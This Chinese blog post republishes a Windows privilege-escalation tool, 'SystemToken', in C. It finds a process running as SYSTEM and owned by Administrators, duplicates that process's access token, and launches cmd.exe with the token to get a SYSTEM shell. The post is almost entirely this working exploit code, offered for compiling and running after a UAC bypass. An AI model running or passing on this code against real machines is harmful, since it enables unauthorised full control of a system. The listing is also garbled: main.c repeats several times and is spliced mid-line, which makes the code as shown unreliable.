专门偷SYSTEM,owner为Administrators进程Token工具

项目地址:github

系统令牌

此代码将遍历系统上的所有进程,直到达到具有以下特征的进程:

  • 该过程的用户是SYSTEM
  • 该过程的所有者是管理员

一旦找到具有这两个特征的流程,便会复制该进程的令牌,并创建一个具有该令牌的新进程。这将导致SYSTEM get shell。

系统要求

此代码已在Windows 10 x64计算机上使用Visual Studio 2019进行了测试。
必须在绕过UAC和本地管理员特权的情况下运行。

用法

编译并运行SystemToken.exe

EnablePriv.h

#include<Windows.h>
#include<WinBase.h>
#include<stdio.h>
#include<securitybaseapi.h>

BOOL EnablePriv(void) {
	LUID debug_value, restore_value;
	BOOL lookup_debug, lookup_restore, token_info;
	HANDLE proc_token, current_handle;
	DWORD buffer_size;
	PTOKEN_PRIVILEGES all_token_privs;
	int RestoreFound = 0, DebugFound = 0;
	TOKEN_PRIVILEGES my_token;
	PTOKEN_PRIVILEGES p_mytoken;

	lookup_debug = LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &debug_value);
	lookup_restore = LookupPrivilegeValueA(NULL, "SeRestorePrivilege", &restore_value);
	if (!lookup_debug || !lookup_restore)
		return FALSE;

	//get handle to your token
	current_handle = GetCurrentProcess();
	BOOL handle_result = OpenProcessToken(current_handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_READ, &proc_token); //TOKEN_QUERY required to access token
	if (!handle_result)
		return FALSE;

	//Get Token structure length
	GetTokenInformation(proc_token, TokenPrivileges, NULL, 0, &buffer_size); //This function always fails, but returns buffer_size

	//call GetTokenInformation again to get the struct data
	all_token_privs = (PTOKEN_PRIVILEGES)malloc(buffer_size);
	token_info = GetTokenInformation(proc_token, TokenPrivileges, all_token_privs, buffer_size, &buffer_size);
	if (!token_info)
		return FALSE;

	//Now we will check if SeDebugPrivilege & SeRestorePrivilege is in all_token_privs
	for (int x = 0; x < all_token_privs->PrivilegeCount; x++) {
		if ((all_token_privs->Privileges[x].Luid.LowPart == debug_value.LowPart) && (all_token_privs->Privileges[x].Luid.HighPart == debug_value.HighPart)) {
			printf("[+] SeDebugPrivilege Found\n");
			DebugFound++;
		}
		else if ((all_token_privs->Privileges[x].Luid.LowPart == restore_value.LowPart) && (all_token_privs->Privileges[x].Luid.HighPart == restore_value.HighPart)) {
			printf("[+] SeRestorePrivilege Found\n");
			RestoreFound++;
		}
		else if (DebugFound == 1 && RestoreFound == 1)
			break;
		else
			continue;
	}

	if (!DebugFound) {
		printf("[!] SeDebugPrivilege not found\n");
		return FALSE;
	}
	if (!RestoreFound) {
		printf("[!] SeRestorePrivilege not found\n");
		return FALSE;
	}

	//change the token privilege for SeRestore then
	//define the new token struct
	//to enable more than 1 privilege at a time, change the
	//ANYSIZE_ARRAY definition in winnt.h 
	my_token.PrivilegeCount = 1;
	my_token.Privileges[0].Luid = restore_value;
	my_token.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	//my_token.Privileges[1].Luid = debug_value;
	//my_token.Privileges[1].Attributes = SE_PRIVILEGE_ENABLED;
	p_mytoken = &my_token;

	//now change the token 
	BOOL change_priv = AdjustTokenPrivileges(proc_token, FALSE, p_mytoken, 0, NULL, NULL);
	if (!change_priv)
		return FALSE;

	return TRUE;

}

main.c

#include <Windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <UserEnv.h>
#include <tchar.h>
#include "../SystemToken/EnablePriv.h"

#define MAX_PATH 35
#define MAX_ARRAY 35
#define NAME_ARRAY 200

int protected_check(DWORD pid);
BOOL system_check(PROCESSENTRY32 process);
void token_elevation(HANDLE process);

typedef struct _process {
	PROCESSENTRY32 pprocess;
	struct process* next;
} process;

typedef struct _protected_process {
	PROCESSENTRY32 pprotected;
} protected_process;

int system_check_flag = 0;


int main(void) {
	process* head, * position = NULL;
	PROCESSENTRY32 each_process, entry;
	HANDLE snapshot_proc;
	BOOL first_result, system_process;
	protected_process protected_arr[MAX_ARRAY];
	int protected_count = 0;

	//Uncomment to enable token privileges
	/*BOOL debug_result = EnablePriv();
	if (!debug_result) {
		printf("[!] Error: Failed to acquire Privileges!\n\n");
	}
	else
		printf("[+] SeRestore Privilege Acquired!\n\n");*/

	snapshot_proc = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (snapshot_proc == INVALID_HANDLE_VALUE) {
		printf("[!] Error: Could not return handle on snapshot");
		exit(1);
	}

	each_process.dwSize = sizeof(PROCESSENTRY32);
	first_result = Process32First(snapshot_proc, &each_process);
	if (!first_result) {
		printf("[!] Error: Could not grab first process");
		exit(1);
	}

	//Linked list used for future examples on access to different processes for different actions
	//Create first node in linked list
	process* new_entry = (process*)malloc(sizeof(process));
	if (new_entry == NULL) {
		printf("[!] Could not assign new entry on heap!");
		exit(1);
	}

	//The first entry in the linked list is mapped by the head pointer
	new_entry->pprocess = each_process;
	new_entry->next = NULL;
	head = new_entry;

	system_process = system_check(each_process);
	if (system_process) {
		int protection_result = protected_check(each_process.th32ProcessID);
		if (protection_result) {
			protected_arr[protected_count].pprotected = each_process; //added protected processes to array for future use
			protected_count += 1;
		}
	}

	while (Process32Next(snapshot_proc, &each_process)) {
		position = head;
		while (position->next != NULL)
			position = position->next;
		process* next_entry = (process*)malloc(sizeof(process));
		if (new_entry == NULL) {
			printf("[!] Could not assign new entry on heap!");
			exit(1);
		}
		next_entry->pprocess = each_process;
		next_entry->next = NULL;
		position->next = next_entry;

		//after finding the System process once we ignore the system_check function going forward
		if (!system_check_flag) {
			system_process = system_check(each_process);
			if (!system_process)
				continue;
		}

		int protection_result = protected_check(each_process.th32ProcessID);
		if (protection_result) {
			if (protected_count != MAX_ARRAY) {
				protected_arr[protected_count].pprotected = each_process;
				protected_count += 1;
			}
		}

	}
	CloseHandle(snapshot_proc);
}

int protected_check(DWORD pid) {
	HANDLE proc_handle = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
	if (proc_handle == NULL) {
		HANDLE proc_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, TRUE, pid); //required for protected processes
		token_elevation(proc_handle);
		return 1;
	}
	token_elevation(proc_handle);
	return 0;
}

//This function serves to skip over the "System" process
//Trying to steal its token fails and delays code execution
//Once this function returns FALSE it means the System process
//has been found and this function is no longer needed
BOOL system_check(PROCESSENTRY32 process) {
	CHAR *system_process = "System";
	int comparison = 0;

	for (int i = 0; i < MAX_PATH; i++) {
		if (process.szExeFile[i] == '
#include <Windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <UserEnv.h>
#include <tchar.h>
#include "../SystemToken/EnablePriv.h"
#define MAX_PATH 35
#define MAX_ARRAY 35
#define NAME_ARRAY 200
int protected_check(DWORD pid);
BOOL system_check(PROCESSENTRY32 process);
void token_elevation(HANDLE process);
typedef struct _process {
PROCESSENTRY32 pprocess;
struct process* next;
} process;
typedef struct _protected_process {
PROCESSENTRY32 pprotected;
} protected_process;
int system_check_flag = 0;
int main(void) {
process* head, * position = NULL;
PROCESSENTRY32 each_process, entry;
HANDLE snapshot_proc;
BOOL first_result, system_process;
protected_process protected_arr[MAX_ARRAY];
int protected_count = 0;
//Uncomment to enable token privileges
/*BOOL debug_result = EnablePriv();
if (!debug_result) {
printf("[!] Error: Failed to acquire Privileges!\n\n");
}
else
printf("[+] SeRestore Privilege Acquired!\n\n");*/
snapshot_proc = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot_proc == INVALID_HANDLE_VALUE) {
printf("[!] Error: Could not return handle on snapshot");
exit(1);
}
each_process.dwSize = sizeof(PROCESSENTRY32);
first_result = Process32First(snapshot_proc, &each_process);
if (!first_result) {
printf("[!] Error: Could not grab first process");
exit(1);
}
//Linked list used for future examples on access to different processes for different actions
//Create first node in linked list
process* new_entry = (process*)malloc(sizeof(process));
if (new_entry == NULL) {
printf("[!] Could not assign new entry on heap!");
exit(1);
}
//The first entry in the linked list is mapped by the head pointer
new_entry->pprocess = each_process;
new_entry->next = NULL;
head = new_entry;
system_process = system_check(each_process);
if (system_process) {
int protection_result = protected_check(each_process.th32ProcessID);
if (protection_result) {
protected_arr[protected_count].pprotected = each_process; //added protected processes to array for future use
protected_count += 1;
}
}
while (Process32Next(snapshot_proc, &each_process)) {
position = head;
while (position->next != NULL)
position = position->next;
process* next_entry = (process*)malloc(sizeof(process));
if (new_entry == NULL) {
printf("[!] Could not assign new entry on heap!");
exit(1);
}
next_entry->pprocess = each_process;
next_entry->next = NULL;
position->next = next_entry;
//after finding the System process once we ignore the system_check function going forward
if (!system_check_flag) {
system_process = system_check(each_process);
if (!system_process)
continue;
}
int protection_result = protected_check(each_process.th32ProcessID);
if (protection_result) {
if (protected_count != MAX_ARRAY) {
protected_arr[protected_count].pprotected = each_process;
protected_count += 1;
}
}
}
CloseHandle(snapshot_proc);
}
int protected_check(DWORD pid) {
HANDLE proc_handle = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
if (proc_handle == NULL) {
HANDLE proc_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, TRUE, pid); //required for protected processes
token_elevation(proc_handle);
return 1;
}
token_elevation(proc_handle);
return 0;
}
//This function serves to skip over the "System" process
//Trying to steal its token fails and delays code execution
//Once this function returns FALSE it means the System process
//has been found and this function is no longer needed
BOOL system_check(PROCESSENTRY32 process) {
CHAR *system_process = "System";
int comparison = 0;
for (int i = 0; i < MAX_PATH; i++) {
if (process.szExeFile[i] == '\0')
break;
else if (process.szExeFile[i] == *system_process) {
system_process++;
comparison++;
}
else
break;
}
if (wcslen(process.szExeFile) == comparison) {
system_check_flag++;
return FALSE;
}
return TRUE;
}
//This function's objective is to get the user of a process and check if
//it is SYSTEM
BOOL GetUserInfo(HANDLE token, PTCHAR account_name, PTCHAR domain_name) {
DWORD token_size, name_size = NAME_ARRAY, domain_size = NAME_ARRAY;
PTOKEN_USER token_user;
SID_NAME_USE sid_type;
int comparison = 0;
PTCHAR arr_cmp = L"SYSTEM";
GetTokenInformation(token, TokenUser, NULL, 0, &token_size);
token_user = (PTOKEN_USER)malloc(token_size);
BOOL result = GetTokenInformation(token, TokenUser, token_user, token_size, &token_size);
if (!result) {
printf("[!] Error: Could not obtain user token information!\n");
return 1;
}
else {
result = LookupAccountSid(NULL, token_user->User.Sid, account_name, &name_size, domain_name, &domain_size, &sid_type);
if (!result) {
printf("[!] Error: Could not get user details!\n");
}
}
free(token_user);
int arr_length = wcslen(account_name);
for (int z = 0; z < NAME_ARRAY; z++) {
if (*account_name == '\0')
break;
else if (*account_name == *arr_cmp) {
comparison++;
account_name++;
arr_cmp++;
}
else
break;
}
if (comparison == arr_length) 
return TRUE;
else
return FALSE;
}
//this function's objective is to get the owner of the process and check if
//it is part of the Administrators group
BOOL GetOwnerInfo(HANDLE token, PTCHAR account_name, PTCHAR domain_name) {
DWORD token_size = NULL, name_size = NAME_ARRAY, domain_size = NAME_ARRAY;
PTOKEN_OWNER token_owner;
SID_NAME_USE sid_type;
int comparison = 0;
PTCHAR arr_cmp = L"Administrators";
SecureZeroMemory(account_name, NAME_ARRAY);
SecureZeroMemory(domain_name, NAME_ARRAY);
GetTokenInformation(token, TokenOwner, NULL, 0, &token_size);
token_owner = (PTOKEN_OWNER)malloc(token_size);
BOOL result = GetTokenInformation(token, TokenOwner, token_owner, token_size, &token_size);
if (!result) {
printf("[!] Error: Could not obtain owner token information!\n");
}
else {
result = LookupAccountSid(NULL, token_owner->Owner, account_name, &name_size, domain_name, &domain_size, &sid_type);
if (!result) {
printf("[!] Error: Could not get user details!\n");
}
}
free(token_owner);
int arr_length = wcslen(account_name);
for (int z = 0; z < NAME_ARRAY; z++) {
if (*account_name == '\0')
break;
else if (*account_name == *arr_cmp) {
comparison++;
account_name++;
arr_cmp++;
}
else
break;
}
if (comparison == arr_length)
return TRUE;
else
return FALSE;
}
//This function will attempt to duplicate a SYSTEM token and create 
//a new process with it. If successful SYSTEM shell obtained
void token_elevation(HANDLE process) {
TCHAR account_name[NAME_ARRAY], domain_name[NAME_ARRAY];
HANDLE ptoken, new_token;
STARTUPINFO startupinfo = { 0 };
PROCESS_INFORMATION procinfo = { 0 };
BOOL user_check, owner_check, duplicated;
BOOL result = OpenProcessToken(process, MAXIMUM_ALLOWED, &ptoken); //
if (!result) {
//printf("[!] Error: Could not open handle to token\n");
return 1;
}
user_check = GetUserInfo(ptoken, account_name, domain_name);
owner_check = GetOwnerInfo(ptoken, account_name, domain_name);
if (user_check & owner_check) {
result = DuplicateTokenEx(ptoken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &new_token);
if (result) {
printf("[+] Token Duplicated\n");
duplicated = CreateProcessWithTokenW(new_token, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &startupinfo, &procinfo);
if (duplicated) {
printf("[+] SUCCESS");
CloseHandle(&startupinfo); 
CloseHandle(&procinfo);
exit(1);
}
else
{
printf("[!] FAIL");
}
}
}
}
') break; else if (process.szExeFile[i] == *system_process) { system_process++; comparison++; } else break; } if (wcslen(process.szExeFile) == comparison) { system_check_flag++; return FALSE; } return TRUE; } //This function's objective is to get the user of a process and check if //it is SYSTEM BOOL GetUserInfo(HANDLE token, PTCHAR account_name, PTCHAR domain_name) { DWORD token_size, name_size = NAME_ARRAY, domain_size = NAME_ARRAY; PTOKEN_USER token_user; SID_NAME_USE sid_type; int comparison = 0; PTCHAR arr_cmp = L"SYSTEM"; GetTokenInformation(token, TokenUser, NULL, 0, &token_size); token_user = (PTOKEN_USER)malloc(token_size); BOOL result = GetTokenInformation(token, TokenUser, token_user, token_size, &token_size); if (!result) { printf("[!] Error: Could not obtain user token information!\n"); return 1; } else { result = LookupAccountSid(NULL, token_user->User.Sid, account_name, &name_size, domain_name, &domain_size, &sid_type); if (!result) { printf("[!] Error: Could not get user details!\n"); } } free(token_user); int arr_length = wcslen(account_name); for (int z = 0; z < NAME_ARRAY; z++) { if (*account_name == '
#include <Windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <UserEnv.h>
#include <tchar.h>
#include "../SystemToken/EnablePriv.h"
#define MAX_PATH 35
#define MAX_ARRAY 35
#define NAME_ARRAY 200
int protected_check(DWORD pid);
BOOL system_check(PROCESSENTRY32 process);
void token_elevation(HANDLE process);
typedef struct _process {
PROCESSENTRY32 pprocess;
struct process* next;
} process;
typedef struct _protected_process {
PROCESSENTRY32 pprotected;
} protected_process;
int system_check_flag = 0;
int main(void) {
process* head, * position = NULL;
PROCESSENTRY32 each_process, entry;
HANDLE snapshot_proc;
BOOL first_result, system_process;
protected_process protected_arr[MAX_ARRAY];
int protected_count = 0;
//Uncomment to enable token privileges
/*BOOL debug_result = EnablePriv();
if (!debug_result) {
printf("[!] Error: Failed to acquire Privileges!\n\n");
}
else
printf("[+] SeRestore Privilege Acquired!\n\n");*/
snapshot_proc = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot_proc == INVALID_HANDLE_VALUE) {
printf("[!] Error: Could not return handle on snapshot");
exit(1);
}
each_process.dwSize = sizeof(PROCESSENTRY32);
first_result = Process32First(snapshot_proc, &each_process);
if (!first_result) {
printf("[!] Error: Could not grab first process");
exit(1);
}
//Linked list used for future examples on access to different processes for different actions
//Create first node in linked list
process* new_entry = (process*)malloc(sizeof(process));
if (new_entry == NULL) {
printf("[!] Could not assign new entry on heap!");
exit(1);
}
//The first entry in the linked list is mapped by the head pointer
new_entry->pprocess = each_process;
new_entry->next = NULL;
head = new_entry;
system_process = system_check(each_process);
if (system_process) {
int protection_result = protected_check(each_process.th32ProcessID);
if (protection_result) {
protected_arr[protected_count].pprotected = each_process; //added protected processes to array for future use
protected_count += 1;
}
}
while (Process32Next(snapshot_proc, &each_process)) {
position = head;
while (position->next != NULL)
position = position->next;
process* next_entry = (process*)malloc(sizeof(process));
if (new_entry == NULL) {
printf("[!] Could not assign new entry on heap!");
exit(1);
}
next_entry->pprocess = each_process;
next_entry->next = NULL;
position->next = next_entry;
//after finding the System process once we ignore the system_check function going forward
if (!system_check_flag) {
system_process = system_check(each_process);
if (!system_process)
continue;
}
int protection_result = protected_check(each_process.th32ProcessID);
if (protection_result) {
if (protected_count != MAX_ARRAY) {
protected_arr[protected_count].pprotected = each_process;
protected_count += 1;
}
}
}
CloseHandle(snapshot_proc);
}
int protected_check(DWORD pid) {
HANDLE proc_handle = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
if (proc_handle == NULL) {
HANDLE proc_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, TRUE, pid); //required for protected processes
token_elevation(proc_handle);
return 1;
}
token_elevation(proc_handle);
return 0;
}
//This function serves to skip over the "System" process
//Trying to steal its token fails and delays code execution
//Once this function returns FALSE it means the System process
//has been found and this function is no longer needed
BOOL system_check(PROCESSENTRY32 process) {
CHAR *system_process = "System";
int comparison = 0;
for (int i = 0; i < MAX_PATH; i++) {
if (process.szExeFile[i] == '\0')
break;
else if (process.szExeFile[i] == *system_process) {
system_process++;
comparison++;
}
else
break;
}
if (wcslen(process.szExeFile) == comparison) {
system_check_flag++;
return FALSE;
}
return TRUE;
}
//This function's objective is to get the user of a process and check if
//it is SYSTEM
BOOL GetUserInfo(HANDLE token, PTCHAR account_name, PTCHAR domain_name) {
DWORD token_size, name_size = NAME_ARRAY, domain_size = NAME_ARRAY;
PTOKEN_USER token_user;
SID_NAME_USE sid_type;
int comparison = 0;
PTCHAR arr_cmp = L"SYSTEM";
GetTokenInformation(token, TokenUser, NULL, 0, &token_size);
token_user = (PTOKEN_USER)malloc(token_size);
BOOL result = GetTokenInformation(token, TokenUser, token_user, token_size, &token_size);
if (!result) {
printf("[!] Error: Could not obtain user token information!\n");
return 1;
}
else {
result = LookupAccountSid(NULL, token_user->User.Sid, account_name, &name_size, domain_name, &domain_size, &sid_type);
if (!result) {
printf("[!] Error: Could not get user details!\n");
}
}
free(token_user);
int arr_length = wcslen(account_name);
for (int z = 0; z < NAME_ARRAY; z++) {
if (*account_name == '\0')
break;
else if (*account_name == *arr_cmp) {
comparison++;
account_name++;
arr_cmp++;
}
else
break;
}
if (comparison == arr_length) 
return TRUE;
else
return FALSE;
}
//this function's objective is to get the owner of the process and check if
//it is part of the Administrators group
BOOL GetOwnerInfo(HANDLE token, PTCHAR account_name, PTCHAR domain_name) {
DWORD token_size = NULL, name_size = NAME_ARRAY, domain_size = NAME_ARRAY;
PTOKEN_OWNER token_owner;
SID_NAME_USE sid_type;
int comparison = 0;
PTCHAR arr_cmp = L"Administrators";
SecureZeroMemory(account_name, NAME_ARRAY);
SecureZeroMemory(domain_name, NAME_ARRAY);
GetTokenInformation(token, TokenOwner, NULL, 0, &token_size);
token_owner = (PTOKEN_OWNER)malloc(token_size);
BOOL result = GetTokenInformation(token, TokenOwner, token_owner, token_size, &token_size);
if (!result) {
printf("[!] Error: Could not obtain owner token information!\n");
}
else {
result = LookupAccountSid(NULL, token_owner->Owner, account_name, &name_size, domain_name, &domain_size, &sid_type);
if (!result) {
printf("[!] Error: Could not get user details!\n");
}
}
free(token_owner);
int arr_length = wcslen(account_name);
for (int z = 0; z < NAME_ARRAY; z++) {
if (*account_name == '\0')
break;
else if (*account_name == *arr_cmp) {
comparison++;
account_name++;
arr_cmp++;
}
else
break;
}
if (comparison == arr_length)
return TRUE;
else
return FALSE;
}
//This function will attempt to duplicate a SYSTEM token and create 
//a new process with it. If successful SYSTEM shell obtained
void token_elevation(HANDLE process) {
TCHAR account_name[NAME_ARRAY], domain_name[NAME_ARRAY];
HANDLE ptoken, new_token;
STARTUPINFO startupinfo = { 0 };
PROCESS_INFORMATION procinfo = { 0 };
BOOL user_check, owner_check, duplicated;
BOOL result = OpenProcessToken(process, MAXIMUM_ALLOWED, &ptoken); //
if (!result) {
//printf("[!] Error: Could not open handle to token\n");
return 1;
}
user_check = GetUserInfo(ptoken, account_name, domain_name);
owner_check = GetOwnerInfo(ptoken, account_name, domain_name);
if (user_check & owner_check) {
result = DuplicateTokenEx(ptoken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &new_token);
if (result) {
printf("[+] Token Duplicated\n");
duplicated = CreateProcessWithTokenW(new_token, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &startupinfo, &procinfo);
if (duplicated) {
printf("[+] SUCCESS");
CloseHandle(&startupinfo); 
CloseHandle(&procinfo);
exit(1);
}
else
{
printf("[!] FAIL");
}
}
}
}
') break; else if (*account_name == *arr_cmp) { comparison++; account_name++; arr_cmp++; } else break; } if (comparison == arr_length) return TRUE; else return FALSE; } //this function's objective is to get the owner of the process and check if //it is part of the Administrators group BOOL GetOwnerInfo(HANDLE token, PTCHAR account_name, PTCHAR domain_name) { DWORD token_size = NULL, name_size = NAME_ARRAY, domain_size = NAME_ARRAY; PTOKEN_OWNER token_owner; SID_NAME_USE sid_type; int comparison = 0; PTCHAR arr_cmp = L"Administrators"; SecureZeroMemory(account_name, NAME_ARRAY); SecureZeroMemory(domain_name, NAME_ARRAY); GetTokenInformation(token, TokenOwner, NULL, 0, &token_size); token_owner = (PTOKEN_OWNER)malloc(token_size); BOOL result = GetTokenInformation(token, TokenOwner, token_owner, token_size, &token_size); if (!result) { printf("[!] Error: Could not obtain owner token information!\n"); } else { result = LookupAccountSid(NULL, token_owner->Owner, account_name, &name_size, domain_name, &domain_size, &sid_type); if (!result) { printf("[!] Error: Could not get user details!\n"); } } free(token_owner); int arr_length = wcslen(account_name); for (int z = 0; z < NAME_ARRAY; z++) { if (*account_name == '
#include <Windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <UserEnv.h>
#include <tchar.h>
#include "../SystemToken/EnablePriv.h"
#define MAX_PATH 35
#define MAX_ARRAY 35
#define NAME_ARRAY 200
int protected_check(DWORD pid);
BOOL system_check(PROCESSENTRY32 process);
void token_elevation(HANDLE process);
typedef struct _process {
PROCESSENTRY32 pprocess;
struct process* next;
} process;
typedef struct _protected_process {
PROCESSENTRY32 pprotected;
} protected_process;
int system_check_flag = 0;
int main(void) {
process* head, * position = NULL;
PROCESSENTRY32 each_process, entry;
HANDLE snapshot_proc;
BOOL first_result, system_process;
protected_process protected_arr[MAX_ARRAY];
int protected_count = 0;
//Uncomment to enable token privileges
/*BOOL debug_result = EnablePriv();
if (!debug_result) {
printf("[!] Error: Failed to acquire Privileges!\n\n");
}
else
printf("[+] SeRestore Privilege Acquired!\n\n");*/
snapshot_proc = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot_proc == INVALID_HANDLE_VALUE) {
printf("[!] Error: Could not return handle on snapshot");
exit(1);
}
each_process.dwSize = sizeof(PROCESSENTRY32);
first_result = Process32First(snapshot_proc, &each_process);
if (!first_result) {
printf("[!] Error: Could not grab first process");
exit(1);
}
//Linked list used for future examples on access to different processes for different actions
//Create first node in linked list
process* new_entry = (process*)malloc(sizeof(process));
if (new_entry == NULL) {
printf("[!] Could not assign new entry on heap!");
exit(1);
}
//The first entry in the linked list is mapped by the head pointer
new_entry->pprocess = each_process;
new_entry->next = NULL;
head = new_entry;
system_process = system_check(each_process);
if (system_process) {
int protection_result = protected_check(each_process.th32ProcessID);
if (protection_result) {
protected_arr[protected_count].pprotected = each_process; //added protected processes to array for future use
protected_count += 1;
}
}
while (Process32Next(snapshot_proc, &each_process)) {
position = head;
while (position->next != NULL)
position = position->next;
process* next_entry = (process*)malloc(sizeof(process));
if (new_entry == NULL) {
printf("[!] Could not assign new entry on heap!");
exit(1);
}
next_entry->pprocess = each_process;
next_entry->next = NULL;
position->next = next_entry;
//after finding the System process once we ignore the system_check function going forward
if (!system_check_flag) {
system_process = system_check(each_process);
if (!system_process)
continue;
}
int protection_result = protected_check(each_process.th32ProcessID);
if (protection_result) {
if (protected_count != MAX_ARRAY) {
protected_arr[protected_count].pprotected = each_process;
protected_count += 1;
}
}
}
CloseHandle(snapshot_proc);
}
int protected_check(DWORD pid) {
HANDLE proc_handle = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
if (proc_handle == NULL) {
HANDLE proc_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, TRUE, pid); //required for protected processes
token_elevation(proc_handle);
return 1;
}
token_elevation(proc_handle);
return 0;
}
//This function serves to skip over the "System" process
//Trying to steal its token fails and delays code execution
//Once this function returns FALSE it means the System process
//has been found and this function is no longer needed
BOOL system_check(PROCESSENTRY32 process) {
CHAR *system_process = "System";
int comparison = 0;
for (int i = 0; i < MAX_PATH; i++) {
if (process.szExeFile[i] == '\0')
break;
else if (process.szExeFile[i] == *system_process) {
system_process++;
comparison++;
}
else
break;
}
if (wcslen(process.szExeFile) == comparison) {
system_check_flag++;
return FALSE;
}
return TRUE;
}
//This function's objective is to get the user of a process and check if
//it is SYSTEM
BOOL GetUserInfo(HANDLE token, PTCHAR account_name, PTCHAR domain_name) {
DWORD token_size, name_size = NAME_ARRAY, domain_size = NAME_ARRAY;
PTOKEN_USER token_user;
SID_NAME_USE sid_type;
int comparison = 0;
PTCHAR arr_cmp = L"SYSTEM";
GetTokenInformation(token, TokenUser, NULL, 0, &token_size);
token_user = (PTOKEN_USER)malloc(token_size);
BOOL result = GetTokenInformation(token, TokenUser, token_user, token_size, &token_size);
if (!result) {
printf("[!] Error: Could not obtain user token information!\n");
return 1;
}
else {
result = LookupAccountSid(NULL, token_user->User.Sid, account_name, &name_size, domain_name, &domain_size, &sid_type);
if (!result) {
printf("[!] Error: Could not get user details!\n");
}
}
free(token_user);
int arr_length = wcslen(account_name);
for (int z = 0; z < NAME_ARRAY; z++) {
if (*account_name == '\0')
break;
else if (*account_name == *arr_cmp) {
comparison++;
account_name++;
arr_cmp++;
}
else
break;
}
if (comparison == arr_length) 
return TRUE;
else
return FALSE;
}
//this function's objective is to get the owner of the process and check if
//it is part of the Administrators group
BOOL GetOwnerInfo(HANDLE token, PTCHAR account_name, PTCHAR domain_name) {
DWORD token_size = NULL, name_size = NAME_ARRAY, domain_size = NAME_ARRAY;
PTOKEN_OWNER token_owner;
SID_NAME_USE sid_type;
int comparison = 0;
PTCHAR arr_cmp = L"Administrators";
SecureZeroMemory(account_name, NAME_ARRAY);
SecureZeroMemory(domain_name, NAME_ARRAY);
GetTokenInformation(token, TokenOwner, NULL, 0, &token_size);
token_owner = (PTOKEN_OWNER)malloc(token_size);
BOOL result = GetTokenInformation(token, TokenOwner, token_owner, token_size, &token_size);
if (!result) {
printf("[!] Error: Could not obtain owner token information!\n");
}
else {
result = LookupAccountSid(NULL, token_owner->Owner, account_name, &name_size, domain_name, &domain_size, &sid_type);
if (!result) {
printf("[!] Error: Could not get user details!\n");
}
}
free(token_owner);
int arr_length = wcslen(account_name);
for (int z = 0; z < NAME_ARRAY; z++) {
if (*account_name == '\0')
break;
else if (*account_name == *arr_cmp) {
comparison++;
account_name++;
arr_cmp++;
}
else
break;
}
if (comparison == arr_length)
return TRUE;
else
return FALSE;
}
//This function will attempt to duplicate a SYSTEM token and create 
//a new process with it. If successful SYSTEM shell obtained
void token_elevation(HANDLE process) {
TCHAR account_name[NAME_ARRAY], domain_name[NAME_ARRAY];
HANDLE ptoken, new_token;
STARTUPINFO startupinfo = { 0 };
PROCESS_INFORMATION procinfo = { 0 };
BOOL user_check, owner_check, duplicated;
BOOL result = OpenProcessToken(process, MAXIMUM_ALLOWED, &ptoken); //
if (!result) {
//printf("[!] Error: Could not open handle to token\n");
return 1;
}
user_check = GetUserInfo(ptoken, account_name, domain_name);
owner_check = GetOwnerInfo(ptoken, account_name, domain_name);
if (user_check & owner_check) {
result = DuplicateTokenEx(ptoken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &new_token);
if (result) {
printf("[+] Token Duplicated\n");
duplicated = CreateProcessWithTokenW(new_token, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &startupinfo, &procinfo);
if (duplicated) {
printf("[+] SUCCESS");
CloseHandle(&startupinfo); 
CloseHandle(&procinfo);
exit(1);
}
else
{
printf("[!] FAIL");
}
}
}
}
') break; else if (*account_name == *arr_cmp) { comparison++; account_name++; arr_cmp++; } else break; } if (comparison == arr_length) return TRUE; else return FALSE; } //This function will attempt to duplicate a SYSTEM token and create //a new process with it. If successful SYSTEM shell obtained void token_elevation(HANDLE process) { TCHAR account_name[NAME_ARRAY], domain_name[NAME_ARRAY]; HANDLE ptoken, new_token; STARTUPINFO startupinfo = { 0 }; PROCESS_INFORMATION procinfo = { 0 }; BOOL user_check, owner_check, duplicated; BOOL result = OpenProcessToken(process, MAXIMUM_ALLOWED, &ptoken); // if (!result) { //printf("[!] Error: Could not open handle to token\n"); return 1; } user_check = GetUserInfo(ptoken, account_name, domain_name); owner_check = GetOwnerInfo(ptoken, account_name, domain_name); if (user_check & owner_check) { result = DuplicateTokenEx(ptoken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &new_token); if (result) { printf("[+] Token Duplicated\n"); duplicated = CreateProcessWithTokenW(new_token, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &startupinfo, &procinfo); if (duplicated) { printf("[+] SUCCESS"); CloseHandle(&startupinfo); CloseHandle(&procinfo); exit(1); } else { printf("[!] FAIL"); } } } }

参考文献

这项工作基于SpectreOps https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens的Justin Bui所做的研究。

专门偷SYSTEM,owner为Administrators进程Token工具

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注